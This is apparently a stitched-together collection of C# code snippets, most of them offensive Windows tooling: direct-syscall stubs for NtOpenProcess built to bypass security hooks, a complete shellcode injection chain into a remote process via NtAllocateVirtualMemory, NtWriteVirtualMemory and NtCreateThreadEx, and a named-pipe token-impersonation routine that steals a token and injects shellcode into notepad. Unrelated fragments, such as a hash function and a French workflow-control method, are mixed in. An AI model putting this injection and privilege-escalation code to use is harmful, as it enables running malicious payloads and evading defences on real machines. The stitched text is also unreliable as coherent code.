public bool CloseProcessHandle(int pid, UInt16 handle) { CLIENT_ID cid = new CLIENT_ID(); OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); cid.UniqueProcess = pid; oa.Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)); IntPtr src_proc_handle = IntPtr.Zero; if (STATUS_SUCCESS != NtOpenProcess(ref src_proc_handle, PROCESS_DUP_HANDLE, ref oa, ref cid)) { return(false); } IntPtr target_handle = IntPtr.Zero; if (STATUS_SUCCESS != NtDuplicateObject( src_proc_handle, (IntPtr)handle, GetCurrentProcess(), ref target_handle, 0, 0, DUPLICATE_CLOSE_SOURCE)) { return(false); } return(STATUS_SUCCESS == NtClose(target_handle)); }
//Create a unique and fast hashcode for our task public override int GetHashCode() { // 269 and 47 are primes int hash = 269; hash = (hash * 47) + CLIENT_ID.GetHashCode(); hash = (hash * 47) + SONG_ID.GetHashCode(); return(hash); }
public static IntPtr GetProcessHandle(Int32 ProcId) { IntPtr hProc = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID(); ci.UniqueProcess = (IntPtr)ProcId; UInt32 CallResult = NtOpenProcess(ref hProc, 0x1F0FFF, ref oa, ref ci); return(hProc); }
public static IntPtr GetProcessHandle(Int32 ProcId) { IntPtr hProc = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID(); ci.UniqueProcess = (IntPtr)ProcId; IntPtr pSysCall = Generic.GetSyscallStub("NtOpenProcess"); NtOpenProcess fSyscallNtOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(NtOpenProcess)); fSyscallNtOpenProcess(ref hProc, 0x1F0FFF, ref oa, ref ci); return(hProc); }
static void Main(string[] args) { // Details String testDetail = @" #=================> # Hello there! # I dynamically generate a Syscall stub # for NtOpenProcess and then open a # handle to a PID. #=================> "; Console.WriteLine(testDetail); // Read PID from args Console.WriteLine("[?] PID: " + args[0]); // Create params for Syscall IntPtr hProc = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID(); Int32 ProcID = 0; if (!Int32.TryParse(args[0], out ProcID)) { return; } ci.UniqueProcess = (IntPtr)(ProcID); // Generate syscall stub Console.WriteLine("[+] Generating NtOpenProcess syscall stub.."); IntPtr pSysCall = SharpSploit.Execution.DynamicInvoke.Generic.GetSyscallStub("NtOpenProcess"); Console.WriteLine("[>] pSysCall : " + String.Format("{0:X}", (pSysCall).ToInt64())); // Use delegate on pSysCall NtOpenProcess fSyscallNtOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(NtOpenProcess)); UInt32 CallRes = fSyscallNtOpenProcess(ref hProc, ProcessAccessFlags.All, ref oa, ref ci); Console.WriteLine("[?] NtStatus : " + String.Format("{0:X}", CallRes)); if (CallRes == 0) // STATUS_SUCCESS { Console.WriteLine("[>] Proc Handle : " + String.Format("{0:X}", (hProc).ToInt64())); } Console.WriteLine("[*] Pausing execution.."); Console.ReadLine(); }
public static void GetProcessHandle(int pid, out IntPtr handle, ProcessAccessFlags flags, SysCallManager sysCall) { handle = IntPtr.Zero; var clientId = new CLIENT_ID() { UniqueProcess = new IntPtr(pid), UniqueThread = IntPtr.Zero }; var objectAtt = new OBJECT_ATTRIBUTES(null, 0); var shellCode = sysCall.GetSysCallAsm("NtOpenProcess"); var shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length, MemoryAllocationFlags.Commit | MemoryAllocationFlags.Reserve, MemoryProtectionFlags.ExecuteReadWrite); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcess)); var token = IntPtr.Zero; var arguments = new object[] { handle, flags, objectAtt, clientId }; var returnValue = sysCallDelegate.DynamicInvoke(arguments); handle = (int)returnValue == 0 ? (IntPtr)arguments[0] : IntPtr.Zero; }
/// <summary> /// Méthode principale du process qui appelle les différents contrôles. /// </summary> public new void ExecuteMainProcess() { List <IControle> listControl = new List <IControle>(); string GlobalResult = ParamAppli.StatutOk; string SourceResult = ParamAppli.StatutOk; string statutControle; listMDB = new List <string>(); sRapport = string.Empty; string[] tMDB = null; RControle RapportControle; Rapport.Source RapportSource; string[] listClientId = CLIENT_ID.Split(','); //POUR TEST /*this.CLIENT_ID = "101";*/ this.STANDARD = true; //this.TYPOLOGY = ParamAppli.ListeInfoClient[listClientId.First()].TYPOLOGY; Logger.Log(this, ParamAppli.StatutInfo, " Debut du process " + this.ToString()); RapportProcess.Name = this.LibProcess; RapportProcess.Debut = DateTime.Now; RapportProcess.IdClient = CLIENT_ID; RapportProcess.Source = new List <Rapport.Source>(); PNPUTools.GereMDBDansBDD gereMDBDansBDD = new PNPUTools.GereMDBDansBDD(); gereMDBDansBDD.ExtraitFichiersMDBBDD(ref tMDB, WORKFLOW_ID, ParamAppli.DossierTemporaire, ParamAppli.ConnectionStringBaseAppli); foreach (String sFichier in tMDB) { listMDB.Add(sFichier); } GetListControle(ref listControl); foreach (string sMDB in listMDB) { MDBCourant = sMDB; RapportSource = new Rapport.Source(); RapportSource.Name = System.IO.Path.GetFileName(sMDB); RapportSource.Controle = new List <RControle>(); SourceResult = ParamAppli.StatutOk; foreach (IControle controle in listControl) { RapportControle = new RControle(); RapportControle.Name = controle.GetLibControle(); RapportControle.Tooltip = controle.GetTooltipControle(); RapportControle.Message = new List <string>(); RapportControleCourant = RapportControle; Logger.Log(this, controle, ParamAppli.StatutInfo, "Début du contrôle " + controle.ToString()); statutControle = controle.MakeControl(); Logger.Log(this, controle, statutControle, "Fin du contrôle " + controle.ToString()); //ERROR > WARNING > OK if (GlobalResult != ParamAppli.StatutError && statutControle == ParamAppli.StatutError) { GlobalResult = statutControle; } else if (GlobalResult != ParamAppli.StatutError && statutControle == ParamAppli.StatutWarning) { GlobalResult = statutControle; } if (SourceResult != ParamAppli.StatutError && statutControle == ParamAppli.StatutError) { SourceResult = statutControle; } else if (SourceResult != ParamAppli.StatutError && statutControle == ParamAppli.StatutWarning) { SourceResult = statutControle; } RapportControle.Result = ParamAppli.TranscoSatut[statutControle]; RapportSource.Controle.Add(RapportControle); } RapportSource.Result = ParamAppli.TranscoSatut[SourceResult]; RapportProcess.Source.Add(RapportSource); } // Le controle des dépendance est à part puisqu'il traite tous les mdb en une fois ControleDependancesMDB cdmControleDependancesMDB = new ControleDependancesMDB(this); RapportSource = new Rapport.Source(); RapportSource.Name = "Contrôle des dépendances inter packages"; RapportSource.Controle = new List <RControle>(); RapportControle = new RControle(); RapportControle.Name = cdmControleDependancesMDB.ToString(); RapportControle.Message = new List <string>(); RapportControleCourant = RapportControle; Logger.Log(this, cdmControleDependancesMDB, ParamAppli.StatutInfo, "Début du contrôle " + cdmControleDependancesMDB.ToString()); statutControle = cdmControleDependancesMDB.MakeControl(); Logger.Log(this, cdmControleDependancesMDB, statutControle, "Fin du contrôle " + cdmControleDependancesMDB.ToString()); RapportControle.Result = ParamAppli.TranscoSatut[statutControle]; //RapportSource2.Controle.Add(RapportControle2); RapportProcess.Source.Add(RapportSource); // Génération du fichier CSV des dépendances StreamWriter swFichierDep = new StreamWriter(Path.Combine(ParamAppli.DossierTemporaire, this.WORKFLOW_ID.ToString("000000") + "_DEPENDANCES.csv")); foreach (string sLig in RapportControle.Message) { swFichierDep.WriteLine(sLig); } swFichierDep.Close(); // Je supprime les messages pour qu'ils ne sortent pas dans le report JSON RapportControle.Message.Clear(); RapportSource.Result = RapportControle.Result; // Recherche des dépendances avec les tâches CCT sur la base de référence ControleRechercheDependancesRef crdrControleRechercheDependancesRef = new ControleRechercheDependancesRef(this); RapportSource = new Rapport.Source(); RapportSource.Name = "Recherche des dépendances avec les tâches CCT sur la base de référence"; RapportSource.Controle = new List <RControle>(); RapportControle = new RControle(); RapportControle.Name = cdmControleDependancesMDB.ToString(); RapportControle.Message = new List <string>(); RapportControleCourant = RapportControle; Logger.Log(this, crdrControleRechercheDependancesRef, ParamAppli.StatutInfo, "Début du contrôle " + crdrControleRechercheDependancesRef.ToString()); statutControle = crdrControleRechercheDependancesRef.MakeControl(); Logger.Log(this, crdrControleRechercheDependancesRef, statutControle, "Fin du contrôle " + crdrControleRechercheDependancesRef.ToString()); RapportControle.Result = ParamAppli.TranscoSatut[statutControle]; //RapportSource2.Controle.Add(RapportControle2); RapportProcess.Source.Add(RapportSource); // Je supprime les messages pour qu'ils ne sortent pas dans le report JSON RapportControle.Message.Clear(); RapportSource.Result = RapportControle.Result; RapportProcess.Fin = DateTime.Now; RapportProcess.Result = ParamAppli.TranscoSatut[GlobalResult]; Logger.Log(this, GlobalResult, "Fin du process " + this.ToString()); //Si le contrôle est ok on génère les lignes d'historique pour signifier que le workflow est lancé //string[] listClientId = new string[] { "DASSAULT SYSTEME", "SANEF", "DRT", "GALILEO", "IQERA", "ICL", "CAMAIEU", "DANONE", "HOLDER", "OCP", "UNICANCER", "VEOLIA" }; //string[] listClientId = new string[] { "111" };//{ "DASSAULT SYSTEME", "SANEF", "DRT", "GALILEO", "IQERA", "ICL", "CAMAIEU", "DANONE", "HOLDER", "OCP", "UNICANCER", "VEOLIA" }; PNPU_H_WORKFLOW historicWorkflow = new PNPU_H_WORKFLOW(); historicWorkflow.CLIENT_ID = this.CLIENT_ID; historicWorkflow.LAUNCHING_DATE = RapportProcess.Debut; historicWorkflow.ENDING_DATE = new DateTime(1800, 1, 1); historicWorkflow.STATUT_GLOBAL = "IN PROGRESS"; historicWorkflow.WORKFLOW_ID = this.WORKFLOW_ID; RequestTool.CreateUpdateWorkflowHistoric(historicWorkflow); foreach (string clientId in listClientId) { InfoClient client = RequestTool.getClientsById(clientId); PNPU_H_STEP historicStep = new PNPU_H_STEP(); historicStep.ID_PROCESS = this.PROCESS_ID; historicStep.ITERATION = 1; historicStep.WORKFLOW_ID = this.WORKFLOW_ID; historicStep.CLIENT_ID = clientId; historicStep.CLIENT_NAME = client.CLIENT_NAME; historicStep.USER_ID = "PNPUADM"; historicStep.LAUNCHING_DATE = RapportProcess.Debut; historicStep.ENDING_DATE = RapportProcess.Fin; historicStep.TYPOLOGY = "SAAS DEDIE"; historicStep.ID_STATUT = GlobalResult; RequestTool.CreateUpdateStepHistoric(historicStep); } // TEST ajout MDB //gereMDBDansBDD.AjouteFichiersMDBBDD(new string[] { "D:\\PNPU\\Tests_RAMDL\\test.mdb" }, WORKFLOW_ID, ParamAppli.DossierTemporaire, ParamAppli.ConnectionStringBaseAppli, CLIENT_ID,1); int NextProcess = RequestTool.GetNextProcess(WORKFLOW_ID, ParamAppli.ProcessControlePacks); foreach (string clienId in listClientId) { LauncherViaDIspatcher.LaunchProcess(NextProcess, decimal.ToInt32(this.WORKFLOW_ID), clienId); } }
public static extern UInt32 NtOpenProcess( ref IntPtr ProcessHandle, UInt32 DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientId);
public static NTSTATUS ZwOpenProcess10(ref IntPtr hProcess, ProcessAccessFlags processAccess, OBJECT_ATTRIBUTES objAttribute, ref CLIENT_ID clientid) { byte[] syscall = bZwOpenProcess10; GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned); IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject(); if (!Natives.VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect)) { throw new Win32Exception(); } Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess)); return((NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid)); }
public static NTSTATUS ZwOpenProcess10(ref IntPtr hProcess, ProcessAccessFlags processAccess, OBJECT_ATTRIBUTES objAttribute, ref CLIENT_ID clientid) { byte[] syscall = bZwOpenProcess10; unsafe { fixed(byte *ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out uint oldprotect)) { throw new Win32Exception(); } Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess)); return((NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid)); } } }
public static extern int NtOpenProcess(ref IntPtr handle, int Mask, ref OBJECT_ATTRIBUTES OBJ, ref CLIENT_ID ID);
static void Main(string[] args) { // NtOpenProcess IntPtr stub = Generic.GetSyscallStub("NtOpenProcess"); NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess)); IntPtr hProcess = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID { UniqueProcess = (IntPtr)uint.Parse(args[0]) }; NTSTATUS result = ntOpenProcess( ref hProcess, 0x001F0FFF, ref oa, ref ci); // NtAllocateVirtualMemory stub = Generic.GetSyscallStub("NtAllocateVirtualMemory"); NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory)); IntPtr baseAddress = IntPtr.Zero; IntPtr regionSize = (IntPtr)_shellcode.Length; result = ntAllocateVirtualMemory( hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, 0x1000 | 0x2000, 0x04); // NtWriteVirtualMemory stub = Generic.GetSyscallStub("NtWriteVirtualMemory"); NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory)); var buffer = Marshal.AllocHGlobal(_shellcode.Length); Marshal.Copy(_shellcode, 0, buffer, _shellcode.Length); uint bytesWritten = 0; result = ntWriteVirtualMemory( hProcess, baseAddress, buffer, (uint)_shellcode.Length, ref bytesWritten); // NtProtectVirtualMemory stub = Generic.GetSyscallStub("NtProtectVirtualMemory"); NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory)); uint oldProtect = 0; result = ntProtectVirtualMemory( hProcess, ref baseAddress, ref regionSize, 0x20, ref oldProtect); // NtCreateThreadEx stub = Generic.GetSyscallStub("NtCreateThreadEx"); NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx)); IntPtr hThread = IntPtr.Zero; result = ntCreateThreadEx( out hThread, ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, hProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); }
private static extern uint NtOpenProcess( ref IntPtr ProcessHandle, int AccessMask, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientID);
public static void ImpersonateClient(string PipeName, string Binary, byte[] shellcodebytes) { // some code from https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/PrintSpoofer.NET/Program.cs, some from https://github.com/BeichenDream/BadPotato/blob/master/Program.cs string pipename = PipeName; string binary = Binary; SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES(); // Create our named pipe pipename = string.Format("\\\\.\\pipe\\{0}", pipename); Console.WriteLine("Create Named Pipe: " + pipename); ConvertStringSecurityDescriptorToSecurityDescriptor("D:(A;OICI;GA;;;WD)", 1, out securityAttributes.lpSecurityDescriptor, IntPtr.Zero); IntPtr hPipe = CreateNamedPipeW(string.Format("\\\\.\\{0}", pipename), 0x00000003 | 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes); if (hPipe != IntPtr.Zero) { // Connect to our named pipe and wait for another client to connect bool result = ConnectNamedPipe(hPipe, IntPtr.Zero); if (result) { Console.WriteLine("Connect success!"); } else { Console.WriteLine("Connect fail!"); return; } // Impersonate the token of the incoming connection result = ImpersonateNamedPipeClient(hPipe); if (result) { Console.WriteLine("Successfully impersonated client!"); } else { Console.WriteLine("Impersonation failed!"); return; } // Open a handle on the impersonated token IntPtr tokenHandle; result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle); if (result) { Console.WriteLine("OpenThreadToken succeeded!"); } else { Console.WriteLine("OpenThreadToken failed!"); return; } // Duplicate the stolen token IntPtr sysToken = IntPtr.Zero; DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken); if (result) { Console.WriteLine("DuplicateTokenEx succeeded!"); } else { Console.WriteLine("DuplicateTokenEx failed!"); return; } // Get the impersonated identity and revert to self to ensure we have impersonation privs String name = WindowsIdentity.GetCurrent().Name; Console.WriteLine($"Impersonated user is: {name}."); if (shellcodebytes != null) { RevertToSelf(); PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); binary = @"C:\windows\system32\notepad.exe"; bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo); Console.WriteLine($"Executed '{binary}' to deploy shellcode in that process!"); int ProcID = ProcByName("notepad"); var shellcode = shellcodebytes; // NtOpenProcess IntPtr stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtOpenProcess"); NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess)); IntPtr hProcess = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID { UniqueProcess = (IntPtr)(ProcID) }; SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS statusresult; statusresult = ntOpenProcess( ref hProcess, 0x001F0FFF, ref oa, ref ci); // NtAllocateVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtAllocateVirtualMemory"); NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory)); IntPtr baseAddress = IntPtr.Zero; IntPtr regionSize = (IntPtr)shellcodebytes.Length; statusresult = ntAllocateVirtualMemory( hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, 0x1000 | 0x2000, 0x04); // NtWriteVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtWriteVirtualMemory"); NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory)); var buffer = Marshal.AllocHGlobal(shellcodebytes.Length); Marshal.Copy(shellcodebytes, 0, buffer, shellcodebytes.Length); uint bytesWritten = 0; statusresult = ntWriteVirtualMemory( hProcess, baseAddress, buffer, (uint)shellcodebytes.Length, ref bytesWritten); // NtProtectVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtProtectVirtualMemory"); NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory)); uint oldProtect = 0; statusresult = ntProtectVirtualMemory( hProcess, ref baseAddress, ref regionSize, 0x20, ref oldProtect); // NtCreateThreadEx stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtCreateThreadEx"); NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx)); IntPtr hThread = IntPtr.Zero; statusresult = ntCreateThreadEx( out hThread, SharpNamedPipePTH.DynamicInvokation.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, hProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } else { // Only testing purpose to fake an interactive logon somehow PROFILEINFO profInfo = new PROFILEINFO(); bool loadProfileSuccess = LoadUserProfile(sysToken, ref profInfo); if (loadProfileSuccess) { Console.WriteLine("LoadUserProfile success!"); } else { Console.WriteLine("LoadUserProfile failed!"); } RevertToSelf(); // Spawn a new process with the duplicated token, a desktop session, and the created profile PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo); Console.WriteLine($"Executed '{binary}' with impersonated token!"); } } }
[DllImport("ntdll.dll")]//, SetLastError = true, EntryPoint = "NtOpenProcess")] public static extern uint NtOpenProcess( ref IntPtr ProcessHandle, UInt32 AccessMask, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientId );
public static NTSTATUS ZwOpenProcess10(ref IntPtr hProcess, ProcessAccessFlags processAccess, OBJECT_ATTRIBUTES objAttribute, ref CLIENT_ID clientid) { byte[] syscall = bZwOpenProcess10; IntPtr memoryAddress = msil.getAdrressWithMSIL(syscall); Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess)); return((NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid)); }